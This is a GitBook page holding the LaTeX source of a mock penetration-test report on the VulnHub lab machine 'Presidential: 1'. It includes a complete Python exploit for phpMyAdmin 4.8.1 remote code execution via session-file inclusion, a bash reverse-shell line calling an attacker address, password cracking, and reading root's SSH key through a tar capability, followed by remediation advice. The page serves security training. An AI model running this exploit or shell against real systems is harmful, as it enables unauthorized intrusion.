> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/useful-resources/reporting/report-1-presidential-writeup-latex.md).

# Отчёт 1 — LaTeX-отчёт Presidential

{% hint style="warning" %}
Вот пример технического профессионального отчета, имитирующего, что я работаю в Orange Cyberdefense, относящегося к экологическому и корпоративному аудиту "[Президентский](/ru/writeups-ctf/vulnhub/linux-vulnhub/presidential-1-vulnhub-writeup.md)". Для этого анализа я использовал предварительно настроенную машину VulnHub с веб-уязвимостями и рисками повышения привилегий.

Отчет был написан с использованием [LaTeX](https://www.overleaf.com/) программного обеспечения, признанного за свою техническую сложность, а также за большую полезность и способность создавать отчеты профессионального качества с большой свободой настройки. Ниже вы найдете код LaTeX и PDF-файл, иллюстрирующие этот пример.
{% endhint %}

{% file src="/files/1cc0e0be523feaaad80ccef4de6dd15deda03c6a" %}

<div data-full-width="false"><figure><img src="/files/a127dad75fc627aedb8a593d4573d64474022b88" alt=""><figcaption></figcaption></figure></div>

<details>

<summary>Настройка среды для генерации PDF-файлов из LaTeX:</summary>

1. Проверить приложение по умолчанию для PDF-файлов:

```bash
xdg-mime query default application/pdf
```

2. Установить Zathura в качестве приложения по умолчанию для PDF-файлов:

```bash
xdg-mime default zathura.desktop application/pdf
```

3. Создайте файл .tex для вашего документа:

```bash
touch presidential.tex
```

4. Скомпилируйте документ:

```bash
latexmk -pdf presidential.tex -pvc
```

<img src="/files/2025d1ff526ac9f16b4fdd2f325e64cf98b57a1f" alt="" data-size="original">

</details>

{% code fullWidth="true" %}

```latex
/documentclass[a4paper]{article}

% Пакеты
/usepackage[utf8]{inputenc} % Кодирование вашего текста в UTF-8
/usepackage[english]{babel} % Английский язык
/usepackage[margin=2cm, top=2cm, includefoot]{geometry} % Разметка страницы
/usepackage{graphicx} % Для вставки изображений
/usepackage[table,xcdraw]{xcolor} % Цвета
/usepackage{tikz,lipsum,lmodern} % Рисунки
/usepackage[most]{tcolorbox} % Пользовательские блоки
/usepackage{fancyhdr} % Колонтитулы
/usepackage[hidelinks]{hyperref} % Гиперссылки
/usepackage{setspace} % Межстрочный интервал
/usepackage{listings} % Отображение исходного кода
/setstretch{1.2} % Межстрочный интервал
/usepackage{parskip} % Интервал между абзацами
/setlength{/parindent}{0pt} % Без абзацного отступа
/setlength{/parskip}{0.8em plus 0.5em minus 0.2em} % Интервал между абзацами
/setlength{/parfillskip}{/parindent plus 1fill} % Выравнивание текста
/usepackage[figurename=Figure]{caption} % Подпись рисунка
/usepackage{ragged2e} % Выравнивание текста

% Переменные
/newcommand{/logoPortada}{Images/vulnhub.png}
/newcommand{/machineName}{Президентский: 1}
/newcommand{/logoMachine}{Images/casablanca.jpg}
/newcommand{/startDate}{21 февраля 2024}
/newcommand{/logoCompany}{Images/orange-company.png}
/newcommand{/logoPlatform}{Images/platform-vulnhub.png}

% Цвета
/definecolor{bluePortada}{HTML}{146c8a}

% Настройка заголовка
/addto/captionsenglish{/renewcommand{/contentsname}{Содержание}}

% Колонтитулы
/setlength{/headheight}{40.2pt}
/pagestyle{fancy}
/fancyhf{}
/lhead{/includegraphics[width=4cm]{/logoCompany}} % Логотип компании слева в верхнем колонтитуле
/rhead{/includegraphics[height=1.2cm]{/logoPlatform}} % Логотип платформы справа в верхнем колонтитуле
/renewcommand{/headrulewidth}{3pt} % Толщина линии в колонтитуле
/renewcommand{/headrule}{/hbox to/headwidth{/color{orange}/leaders/hrule height /headrulewidth/hfill}} % Цвет линии в колонтитуле

% Настройка подписей исходного кода
/renewcommand{/lstlistingname}{Код}

% Стили исходного кода
/definecolor{codegreen}{rgb}{0,0.6,0}
/definecolor{codegray}{rgb}{0.5,0.5,0.5}
/definecolor{codepurple}{rgb}{0.58,0,0.82}
/definecolor{backcolour}{rgb}{0.95,0.95,0.92}

/newtcolorbox{definicion}{
  breakable,
  enhanced,
  colback=white,
  colframe=bluePortada!75!black,
  arc=0mm,
  boxrule=1pt,
  leftrule=12mm,
  fonttitle=/bfseries,
  coltitle=blue!75!black,
  title=Определение,
  attach title to upper=/par,
}

/lstdefinestyle{mystyle}{
    backgroundcolor=/color{backcolour},   
    commentstyle=/color{codegreen}, % Цвет комментариев
    keywordstyle=/color{magenta}, % Цвет ключевых слов
    numberstyle=/tiny/color{codegray}, % Стиль номеров строк
    stringstyle=/color{codepurple}, % Цвет строк
    basicstyle=/ttfamily/footnotesize, % Базовый стиль текста
    breakatwhitespace=false,         
    breaklines=true,                 
    captionpos=b,                    
    keepspaces=true,                 
    numbers=left,                    
    numbersep=5pt,                  
    showspaces=false,                
    showstringspaces=false,
    showtabs=false,                  
    tabsize=2
}

/lstset{style=mystyle} % Глобальная настройка стиля кода

% Начало документа
/begin{document}
/cfoot{/thepage} % Нижний колонтитул с номером страницы
  /begin{titlepage} % Титульный лист
      /centering
      /includegraphics[width=0.5/textwidth]{/logoPortada}/par/vspace{1cm} % Логотип титульного листа
{/scshape/LARGE /textbf{Технический отчет}/par/vspace{0.4cm}} % Заголовок отчета
{/Huge/textcolor{bluePortada}{/textbf{Машина /machineName}}} % Название машины
      /vfill
/includegraphics[width=/textwidth, height=10cm, keepaspectratio]{/logoMachine} % Изображение машины
      /vfill
/begin{tcolorbox}[colback=red!5!white,colframe=red!75!black] % Блок конфиденциальности
    /centering
Этот документ является конфиденциальным и содержит чувствительную информацию. // Его не следует печатать или передавать третьим лицам.
  /end{tcolorbox}
  /vfill
{/large /startDate/par} % Дата отчета
  /vfill
  /end{titlepage}
% ------------------------------------------------------------------
% Начало оглавления
/clearpage
/tableofcontents % Оглавление
/clearpage

/section{Предпосылки}
В этом документе представлены результаты, полученные на этапе аудита, проведенного на машине /textbf{/machineName}, с перечислением всех обнаруженных векторов атаки, а также проведенной эксплуатации каждого из них.

Эта машина была загружена с платформы /href{https://www.vulnhub.com/}{/textbf{/color{bluePortada}Vulnhub}}, платформы для обучения и практики для людей, интересующихся компьютерной безопасностью и этичным хакингом. Ниже приведена ссылка на скачивание этой машины:

/vspace{0.2cm}

/begin{tcolorbox}[enhanced,attach boxed title to top center={yshift=-3mm,yshifttext=-1mm},
colback=orange!5!,colframe=orange!75!black,colbacktitle=orange!80!black,
title=Целевой URL,fonttitle=/bfseries,
boxed title style={size=small,colframe=black!50!orange} ]
/centering
/href{https://www.vulnhub.com/entry/presidential-1,500/}{/textbf{/color{black}https://www.vulnhub.com/entry/presidential-1,500}}

/end{tcolorbox}

/vspace{0.5cm}

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/presidential-image.png}}
/caption{Главная страница веб-сервиса машины}
/end{figure}
/vspace{1cm}
/section {Цели}
Цели этого аудита безопасности состоят в выявлении возможных уязвимостей и слабых мест на машине /textbf{/color{bluePortada}/machineName} с целью гарантировать целостность и конфиденциальность хранящейся там информации.

С этой целью был проведен всесторонний анализ всех обнаруженных служб, доступных на этом сервере, с подробным сбором информации о тех из них, которые представляют потенциальный риск с точки зрения безопасности.
/clearpage

/subsection{Область охвата}

Ниже представлены цели, которые необходимо достичь в рамках этого аудита:

/begin{itemize}
/item Определить уязвимые порты и службы.
/item Эксплуатировать выявленные уязвимости.
/item Получить доступ к серверу, используя выявленные уязвимые службы.
/item Перечислить возможные пути повышения привилегий в системе после ее компрометации.
/end{itemize}

/subsection{Ограничения и лимиты}

В процессе аудита строго запрещено выполнять какие-либо из следующих действий:

/begin{itemize}
/item Выполнять действия, которые могут привести к /textbf{отказу в обслуживании} или повлиять на доступность открытых служб.
/item Удалять файлы, находящиеся на сервере, после его компрометации.
/end{itemize}

/subsection{Общий итог}

Этот аудит выявил многочисленные серьезные уязвимости безопасности, ставящие под угрозу целостность и конфиденциальность информации, размещенной на сервере. От раскрытия конфиденциальных резервных файлов до эксплуатации критических уязвимостей в phpMyAdmin — сервер оказался уязвим к различным атакам.

Выявление поддоменов, перечисление открытых служб и эксплуатация слабых панелей аутентификации стали ключевыми точками входа для атак, проведенных в ходе этого аудита.

Крайне важно незамедлительно принять меры для устранения этих уязвимостей и снижения рисков безопасности. Настоятельно рекомендуется обновить phpMyAdmin до последней версии и внедрить дополнительные меры безопасности, такие как ограничение доступа к конфиденциальным файлам и реализация соответствующих фильтров ввода в открытых веб-приложениях.

В заключение, этот аудит подчеркивает важность поддержания проактивной позиции в области системной безопасности путем проведения периодических аудитов, установки исправлений безопасности и следования лучшим практикам кибербезопасности для защиты цифровых активов организации.

/clearpage
/section{Разведка}
/subsection{Перечисление открытых служб}
Ниже вы найдете подтверждение портов и служб, выявленных во время разведки, проведенной с помощью инструмента /textbf{nmap}:
/vspace{0.3cm}

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/ports.png}}
/caption{Перечисление портов с помощью nmap}
/end{figure}

/vspace{0.3cm}
В данном случае с использованием протокола TCP были выявлены два активных порта:

/vspace{0.5cm}
/centering
/begin{tikzpicture}[node distance=2cm, every node/.style={rectangle, draw, fill=white}]

/node (center) {TCP};
/node (port1) [below left of=center, node distance=3cm] {Порт 80};
/node (port2) [below right of=center, node distance=3cm] {Порт 2082};
/draw (center) -- (port1);
/draw (center) -- (port2);

/end{tikzpicture}

/vspace{0.5cm}
/justifying

Кроме того, не было обнаружено портов, открытых через другие протоколы, поэтому приоритет отдается оценке портов, выявленных при первом сканировании.

/clearpage
/subsection{Перечисление веб-серверов}

Ниже представлены результаты, полученные с помощью инструмента /textbf{WhatWeb}, инструмента веб-разведки, используемого для определения конкретных веб-технологий, применяемых на сайте, после проведения разведки HTTP-сервиса, работающего на порту 80.

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/makebox[/textwidth]{/fbox{/includegraphics[width=0.90/paperwidth]{Images/whatweb.png}}}
/caption{Перечисление HTTP-сервиса на порту 80}
/end{figure}

Полученные результаты позволяют определить версии некоторых существующих технологий:

/vspace{0.4cm}

/centering
/begin{tabular}{ c | c }
/textbf{Технология} & /textbf{Версия} //
/hline
PHP & 5.5.38 //
Apache & 2.4.6
/end{tabular}
/vspace{0.4cm}

/justifying

Среди предоставленной информации также можно определить 2 адреса электронной почты, которые могут быть использованы в атаках /textbf{фишинга}:

/vspace{0.3cm}
/begin{center}
/texttt{contact@example.com} /qquad /texttt{contact@votenow.local}
/end{center}

/textbf{фишинг} — это тип компьютерной атаки, используемой для обмана людей с целью получения конфиденциальной информации, такой как пароли, банковские данные или сведения кредитной карты. Атака осуществляется путем отправки поддельных электронных писем или текстовых сообщений, которые выглядят легитимными и просят получателя предоставить личную и конфиденциальную информацию.

Кроме того, благодаря тщательному анализу веб-сервиса с помощью инструмента /textbf{wig} также удалось определить активную версию /textbf{Centos}.

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/wig-results.png}}
/caption{Перечисление HTTP-сервиса на порту 80}
/end{figure}
/clearpage

/subsection{Перечисление поддоменов}
После того как домен '/textbf{votenow.local}' был определен через электронные письма, на основном домене была проведена атака перебором с целью выявления действительных поддоменов.

После завершения атаки перебором были получены следующие результаты:

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/subdomain.png}}
/caption{Поддомены, выявленные с помощью Gobuster}
/label{fig:identifiedSubdomains}
/end{figure}

/vspace{0.3cm}
Поддомен '/textbf{datasafe.votenow.local}' был идентифицирован как действительный поддомен. Этот поддомен сыграл решающую роль в аудите, поскольку именно через него был получен доступ к системе путем эксплуатации уязвимости, присутствующей в /textbf{phpMyAdmin}.

Обратите внимание, что для доступа к этим доменам и поддоменам необходимо было добавить следующее содержимое в файл '/textbf{/etc/hosts}':

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=0.8/textwidth]{Images/virtualHosting.png}}
/caption{Содержимое файла /etc/hosts}
/end{figure}
/vspace{0.3cm}
Это связано с применением '/textbf{virtual hosting}', техники, используемой на веб-серверах для размещения нескольких сайтов на одной физической машине. Файл '/textbf{/etc/hosts}' используется для сопоставления доменного имени каждого сайта с IP-адресом сервера.

При отсутствии этого сопоставления веб-сервер не сможет определить правильный сайт для обслуживания, что приведет к ошибке или отображению неверного сайта.
/clearpage
/subsection{Перечисление панелей аутентификации}
После обнаружения поддомена '/textbf{datasafe.votenow.local}', как показано на изображении /ref{fig:identifiedSubdomains} на странице /pageref{fig:identifiedSubdomains}, была найдена следующая панель аутентификации /textbf{phpMyAdmin}:

/vspace{0.3cm}

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/PhpMyAdmin.png}}
/caption{Панель аутентификации phpMyAdmin}
/label{fig:PhpMyAdmin}
/end{figure}

/section{Обнаружение и эксплуатация уязвимостей}
/subsection{Раскрытие файла резервной копии}

Во время разведки с помощью инструмента /textbf{gobuster}, инструмента командной строки с открытым исходным кодом, используемого для поиска и перечисления веб-ресурсов на серверах и сайтах, на сервере был обнаружен открытый файл резервной копии:

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/BackUp.png}}
/caption{Файл резервной копии, доступный на сервере}
/end{figure}

/clearpage

Этот файл был загружен для проверки, содержит ли он конфиденциальную информацию, которая может представлять риск для безопасности. На этом этапе было определено, что файл содержит следующую привилегированную информацию:

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/credentials.png}}
/caption{Содержимое файла резервной копии с учетными данными}
/end{figure}

Эти идентификаторы соответствуют учетным данным для доступа к базе данных, которые позволили, благодаря повторному использованию имени пользователя и пароля, получить доступ к /textbf{phpMyAdmin}, как показано на изображении /ref{fig:phpMyAdmin} на странице /pageref{fig:phpMyAdmin}.
/vspace{0.3cm}
/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/phpmyadminIN.png}}
/caption{Подключение к панели управления phpMyAdmin}
/end{figure}

/clearpage
/subsection{Эксплуатация phpMyAdmin}
После входа в /textbf{phpMyAdmin} удалось определить используемую в данный момент версию:

/vspace{0.3cm}

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=0.67/textwidth]{Images/versionPhpMyAdmin.png}}
/caption {Используемая версия phpMyAdmin}
/end{figure}

/vspace{0.3cm}
Эта версия соответствует /textbf{старой версии} phpMyAdmin, тем самым раскрывая несколько выявленных /textbf{критических уязвимостей}:

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/searchExploit.png}}
/caption {Уязвимости для используемой версии phpMyAdmin}
/end{figure}


/clearpage
Среди них одна может позволить злоумышленнику /textbf{удаленно выполнить код} на сервере.

Далее приведен скрипт на Python3, который использовался для выполнения удаленных команд на сервере:

/vspace{0.3cm}

/begin{lstlisting}[language=Python, caption=Эксплойт для уязвимой версии phpMyAdmin]
#!/usr/bin/python3

import re, requests, sys

def get_token(content):
  s = re.search('token"/s*value="(.*?)"', content)
  token = html.unescape(s.group(1))
  return token

ipaddr = sys.argv[1]
port = sys.argv[2]
path = sys.argv[3]
username = sys.argv[4]
password = sys.argv[5]
command = sys.argv[6]

url = "http://{}:{}{}".format(ipaddr,port,path)

url1 = url + "/index.php"
r = requests.get(url1)
content = r.content.decode('utf-8')

s = re.search('PMA_VERSION:"(/d+/./d+/./d+)"', content)
version = s.group(1)

cookies = r.cookies
token = get_token(content)

p = {'token': token, 'pma_username': username, 'pma_password': password}
r = requests.post(url1, cookies = cookies, data = p)
content = r.content.decode('utf-8')
s = re.search('logged_in:(/w+),', content)
logged_in = s.group(1)

cookies = r.cookies
token = get_token(content)

url2 = url + "/import.php"
payload = '''select '<?php system("{}") ?>';'''.format(command)
p = {'table':'', 'token': token, 'sql_query': payload }
r = requests.post(url2, cookies = cookies, data = p)

session_id = cookies.get_dict()['phpMyAdmin']
url3 = url + "/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/session/sess_{}".format(session_id)
r = requests.get(url3, cookies = cookies)

content = r.content.decode('utf-8', errors="replace")
s = re.search("select '(.*?)/n'", content, re.DOTALL)
if s != None:
  print(s.group(1))
/end{lstlisting}

/clearpage
После выполнения и внедрения команды, позволяющей войти в систему, доступ к серверу был получен:

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=0.85/textwidth]{Images/rce.png}}
/caption {Получение доступа к серверу путем эксплуатации phpMyAdmin}
/end{figure}

В данном случае команда выполняется через '/textbf{curl}', интерпретируя Bash-скрипт, содержащий следующее:

/vspace{0.3cm}
/begin{lstlisting}[language=Bash, caption=Скрипт Bash, отвечающий за установление соединения]
bash -i >& /dev/tcp/192.168.71.128/443 0>&1
/end{lstlisting}

Этот скрипт размещен на сервере атакующего, что позволяет не оставлять остаточных файлов на целевом сервере. После выполнения команды атакующий получает доступ к серверу, в данном случае управляя машиной как пользователь '/textbf{apache}'.

Как видно из скрипта, по сути происходит следующее: скрипт использует уязвимость /textbf{LFI}, присутствующую в этой версии phpMyAdmin, чтобы добиться удаленного выполнения команд:

/vspace{0.3cm}
/begin{lstlisting}[language=Python, caption=Фрагмент кода, связанный с эксплуатацией LFI]
session_id = cookies.get_dict()['phpMyAdmin']
url3 = url + "/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/session/sess_{}".format(session_id)
r = requests.get(url3, cookies = cookies)
/end{lstlisting}
/vspace{0.3cm}
/begin{definicion}
LFI (Local File Inclusion) — это уязвимость безопасности в веб-приложениях, которая позволяет атакующему получать доступ к локальным файлам на сервере путем включения локальных файлов в веб-страницу.
/end{definicion}
/clearpage

Через LFI мы получаем информацию о PHP-ресурсе, который хранит сессии, представляя информацию, связанную с различными активными сессиями на стороне пользователей.

Используя это чтение и собственную пользовательскую сессию, мы применяем /textbf{SQL-запрос}, чтобы вставить запрос, содержащий PHP-код, видимый из файлов сессии пользователя через LFI. Это, следовательно, приводит к удаленному выполнению команд, поскольку PHP-код не интерпретируется сервером.

/section{Повышение привилегий}
После компрометации всей системы главной целью теперь станет получение максимально возможных привилегий на сервере. С целью расширения наших полномочий и получения большего контроля и доступа ко всем открытым службам.
/subsection{Переход к пользователю Administrator}
На сервере есть пользователь Administrator, который, похоже, хорошо настроен, поскольку у нас есть /textbf{ограниченный доступ} от пользователя apache.
/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=0.85/textwidth]{Images/directori-admin.png}}
/caption {Доступ к домашнему каталогу Admin запрещен}
/end{figure}

Однако в ранее скомпрометированной базе данных появляется хешированный пароль с тем же именем пользователя, что и у этого пользователя. Повторное использование паролей для пользователя — это критическая ошибка, и в данном случае это привело бы к прямому переходу к этому пользователю.
/vspace{0.3cm}
/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/hash-password.png}}
/caption {Хешированный пароль, хранящийся в базе данных пользователя admin}
/end{figure}
/clearpage
/subsection{Взлом раскрытого хешированного пароля пользователя admin}
Поскольку пароль хеширован, мы будем использовать инструмент '/textbf{john}', чтобы взломать хеш пароля admin, расшифровать его и увидеть в открытом виде. В данном случае использовался словарь, содержащий более десяти миллионов различных комбинаций, и поскольку пароль не очень сложный, инструменту потребовалось несколько минут, чтобы его взломать и раскрыть.
/vspace{0.2cm}
/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=0.80/textwidth]{Images/pass-cracked.png}}
/caption {Расшифрованный пароль пользователя admin в открытом виде}
/end{figure}
/vspace{0.3cm}
/newline Переход к пользователю admin стал возможен из-за /textbf{повторного использования одного и того же пароля} для пользователя admin как в базе данных, так и в системном пользователе. Это плохая практика, и рекомендуется использовать разные пароли для каждого сервиса, чтобы избежать критических проблем, как в данном случае.
/vspace{0.2cm}
/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=0.80/textwidth]{Images/admin-access.png}}
/caption {Доступ к привилегированному каталогу пользователя admin}
/end{figure}
/clearpage
/subsection{Уязвимость прав capabilities, раскрывающая SSH-ключ}
/vspace{0.3cm}
/begin{definicion}
Capabilities в Linux — это механизм безопасности, который предоставляет программам определенные привилегии, позволяя выполнять ограниченные операции без необходимости предоставлять полный root-доступ.
/end{definicion}
В данном случае была найдена возможность, позволяющая с помощью инструмента tarS просматривать все файлы в системе без каких-либо правил или блокировок, поскольку они выполнялись от имени пользователя root. Используя это разрешение, /textbf{SSH-частный ключ} пользователя root был перечислен с помощью следующей команды:

/vspace{0.3cm}
/begin{lstlisting}[language=Bash, caption=]
tarS -cvf id_rsa.tar /root/.ssh/id_rsa
/end{lstlisting}
/vspace{0.3cm}
/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/makebox[/textwidth]{/fbox{/includegraphics[width=0.50/paperwidth]{Images/ssh-clave.png}}}
/caption {SSH-частный ключ пользователя root}
/end{figure}
/subsection{Доступ root к системе}
В конечном итоге был получен доступ к машине с привилегиями root. Необходимо срочно удалить возможность для инструмента tarS и найти альтернативу, которая не позволяет осуществить такое повышение привилегий.
/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/makebox[/textwidth]{/fbox{/includegraphics[width=0.60/paperwidth]{Images/flag-root.png}}}
/caption {Получение флага пользователя root}
/end{figure}
/clearpage
/section{Контрмеры и лучшие практики}

Чтобы избежать возможной нежелательной эксплуатации открытого сервера, ниже перечислены лучшие практики, которым следует следовать для различных обнаруженных уязвимостей.

/subsection{Уязвимость phpMyAdmin 4.8.1}
phpMyAdmin — популярный инструмент для управления базами данных MySQL через веб-интерфейс. Однако в версии 4.8.1 phpMyAdmin имеются известные уязвимости, которые могут позволить атакующему выполнить произвольный код на веб-сервере, где он размещен.

Чтобы исправить эту уязвимость, необходимо /textbf{обновить} phpMyAdmin до самой последней версии (на данный момент версии 5.2.1). Если по какой-либо причине обновление до последней версии невозможно, есть несколько шагов, которые можно предпринять для снижения риска эксплуатации:
/begin{itemize}
/item Исправить код скрипта '/textbf{index.php}', чтобы переменная '/textbf{target}', введенная пользователем, корректно контролировалась.
/end{itemize}
/vspace{0.3cm}
/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=0.85/textwidth]{Images/lfi_in_code.png}}
/caption {Уязвимый параметр target}
/end{figure}

/begin{itemize}
/item Вместо того чтобы позволять пользователю указывать любой файл для подключения, определите список разрешённых файлов и проверьте, что значение, переданное параметру '/textbf{target}', находится в этом списке, прежде чем подключать файл.
/end{itemize}

/subsection{Повышение привилегий через capabilities}
Сначала устраните возможность инструмента tarS. Чтобы исправить и проверить, уязвим ли сервис или инструмент к этому повышению привилегий, вы можете посетить следующий сайт, который содержит поисковую систему со всеми возможными уязвимостями на эту тему:
/vspace{0.3cm}

/begin{tcolorbox}[enhanced,attach boxed title to top center={yshift=-3mm,yshifttext=-1mm},
colback=orange!5!,colframe=orange!75!black,colbacktitle=orange!80!black,
title=Целевой URL,fonttitle=/bfseries,
boxed title style={size=small,colframe=black!50!orange} ]
/centering
/href{https://gtfobins.github.io/}{/textbf{/color{black}https://gtfobins.github.io}}
/end{tcolorbox}

/clearpage
/section{Выводы}
Проведённый аудит безопасности машины /textbf{Presidential: 1} выявил ряд критических уязвимостей, ставящих под угрозу целостность и конфиденциальность информации, размещённой на сервере. От раскрытия конфиденциальных файлов до эксплуатации уязвимостей в phpMyAdmin — было подчеркнуто, насколько важно поддерживать все компоненты системы в актуальном состоянии и соблюдать надлежащие меры безопасности.

Успешная эксплуатация уязвимости в phpMyAdmin позволила атакующим получить доступ к серверу и повысить свои привилегии до пользователя administrator, тем самым скомпрометировав всю систему. Это подчёркивает важность внедрения проактивных мер безопасности, таких как регулярное обновление программного обеспечения, надлежащее управление паролями и непрерывный мониторинг сервера.

Для защиты от будущих атак настоятельно рекомендуется внедрить ранее упомянутые меры противодействия и следовать лучшим практикам кибербезопасности. Безопасность должна быть постоянной и приоритетной задачей, чтобы обеспечить защиту цифровых активов и непрерывность бизнеса.

/end{document}
```

{% endcode %}


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/useful-resources/reporting/report-1-presidential-writeup-latex.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
